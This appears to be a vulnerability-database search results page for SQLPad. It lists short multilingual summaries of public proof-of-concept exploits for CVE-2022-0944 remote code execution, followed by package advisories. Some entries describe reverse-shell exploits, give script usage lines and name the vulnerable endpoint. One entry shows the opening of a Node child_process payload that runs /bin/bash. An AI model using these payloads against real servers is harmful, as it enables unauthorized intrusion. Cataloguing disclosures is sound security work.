121 matches found
SQLPad-RCE-Exploit-CVE-2022-0944
Como Funciona: Este código PHP foi concebido para explorar uma vulnerabilidade de Execução Remota de Código RCE no SQLPad , relacionada ao CVE-2022-0944. Ele funciona ao injetar código malicioso no aplicativo SQLPad, forçando-o a executar um comando do sistema que abre um shell reverso – uma...
CVE-2022-0944
CVE-2022-0944 SQLPad - Iniezione di template Questa è una vulnerabilità blind, il che significa che l'output viene restituito direttamente nella risposta. Exploit Usa lo script con il seguente comando: python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin...
CVE-2022-0944
CVE-2022-0944 PoC PoC per RCE in SQLPad. Questo esempio genera una reverse shell, ma il payload può essere modificato per eseguire qualsiasi comando disponibile cambiando il comando nella chiamata 'exec' all'interno del payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash...
CVE-2022-0944
CVE-2022-0944 Ein Proof-of-Concept-Exploit für SQLPad RCE CVE-2022-0944 Verwendung root@kitploit: usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username...
sqlpad-rce-exploit-CVE-2022-0944
SQLPad RCE 漏洞利用 此仓库包含一个针对 SQLPad 中 CVE-2022-0944 的漏洞利用脚本，该漏洞允许通过 /api/test-connection 端点进行远程代码执行（RCE）。 概述 提供的脚本 exploit.py 演示了如何利用 SQLPad 中的 RCE 漏洞。该脚本向易受攻击的端点发送 payload，在目标服务器上执行命令。 功能特性 盲 RCE ：在目标服务器上执行命令，无需接收直接响应。 Netcat 监听器 ：需要在攻击者机器上设置 netcat 监听器以接收输出。 前提条件 Python 3.x requests 库（可通过 pip 安装）...
CVE-2022-0944_RCE_POC
CVE-2022-0944 Proof of concept di exploit per SQLPad RCE CVE-2022-0944 che porta a una RCE con una reverse shell sul PC dell'attaccante. Utilizzo root@kitploit: usage: script.py URL IP PORT positional arguments: URL URL to SQLPad IP Listener host address for reverse shell PORT Listener port for...
SQLPad-6.10.0-Exploit-CVE-2022-0944
Exploit do SQLPad 6.10.0 CVE-2022-0944 Este script Bash explora uma vulnerabilidade de RCE no SQLPad 6.10.0, permitindo que um invasor execute código remotamente RCE ao abusar dos campos host e database nas configurações de conexão MySQL do SQLPad. O exploit aproveita o tratamento não sanitizado ...
GO-2024-2918 vulnerabilities
Vulnerabilities for packages: flux-image-reflector-controller, falcoctl, spire-server, step-ca, trino, flux-kustomize-controller, velero, py3-azure-identity, ksops, grafana-agent-operator, rclone, flux, fluent-bit-plugin-loki, flux-source-controller, grafana-mimir, k8sgpt, harbor-registry,...
CLEANSTART-2026-AG43501 Security fixes in sqlpad 7.5.7-r2
Package sqlpad version 7.5.7-r2 fixes 26 vulnerabilities: ghsa-2v35-w6hq-6mfw, ghsa-f6ww-3ggp-fr8h, ghsa-wh4c-j3r5-mjhp, ghsa-x6wf-f3px-wcqx, ghsa-j759-j44w-7fr8...
CLEANSTART-2026-PY70964 Security fixes in sqlpad 7.5.7-r4
Package sqlpad version 7.5.7-r4 fixes 2 vulnerabilities: ghsa-v422-hmwv-36x6, CVE-2026-12590...
GHSA-5P4M-2WFM-XMQJ vulnerabilities
Vulnerabilities for packages: wazuh-dashboard-fips, ts-patch, authentik-fips, authentik, langfuse, unleash, percona-server-mongodb, mongod, sqlpad, unleash-proxy, saf, kibana, redisinsight, awx, unleash-fips, langfuse-fips, pulumi, foxx-cli, opensearch-dashboards, renovate, jitsucom-jitsu,...
GHSA-5P4M-2WFM-XMQJ vulnerabilities
Vulnerabilities for packages: renovate, vitess, langfuse, lerna, eslint, jitsucom-jitsu, code-server, opensearch-dashboards, prism, saf, sqlpad, pulumi, ts-patch...
CLEANSTART-2026-MV28194 Security fixes in sqlpad 7.5.7-r1
Package sqlpad version 7.5.7-r1 fixes 4 vulnerabilities: CVE-2026-24842, CVE-2026-25547, CVE-2025-57350, CVE-2026-2391...
GHSA-XCPC-8H2W-3J85 vulnerabilities
Vulnerabilities for packages: saf, sqlpad...
CVE-2026-39244 vulnerabilities
Vulnerabilities for packages: saf, sqlpad...
GHSA-MH99-V99M-4GVG vulnerabilities
Vulnerabilities for packages: renovate, serve, langfuse, nextcloud-server, lerna, prism, argo-workflows, opensearch-dashboards, saf, sqlpad, rancher-api-ui, pulumi, thingsboard, npm, ts-patch...
CVE-2026-14257 vulnerabilities
Vulnerabilities for packages: renovate, serve, langfuse, nextcloud-server, lerna, prism, argo-workflows, opensearch-dashboards, saf, sqlpad, rancher-api-ui, pulumi, thingsboard, npm, ts-patch...
CVE-2026-41907 vulnerabilities
Vulnerabilities for packages: wazuh-dashboard-fips, gitlab-rails-ce, librechat, kubeflow-pipelines, nextcloud-server, tensorflow-cpu-jupyter, azurite, dbgate-fips, langfuse, kubeflow-centraldashboard, gitlab-rails-ce-fips, py3-captum, dbgate, sqlpad, kubeflow-katib, py3-jupyterlab, saf, gemini-cl...
CVE-2026-41907 vulnerabilities
Vulnerabilities for packages: renovate, langfuse, nextcloud-server, py3-jupyterlab, prism, argo-workflows, code-server, jitsucom-jitsu, kubeflow-katib, kubeflow-pipelines, opensearch-dashboards, saf, sqlpad, kubeflow-centraldashboard, npm...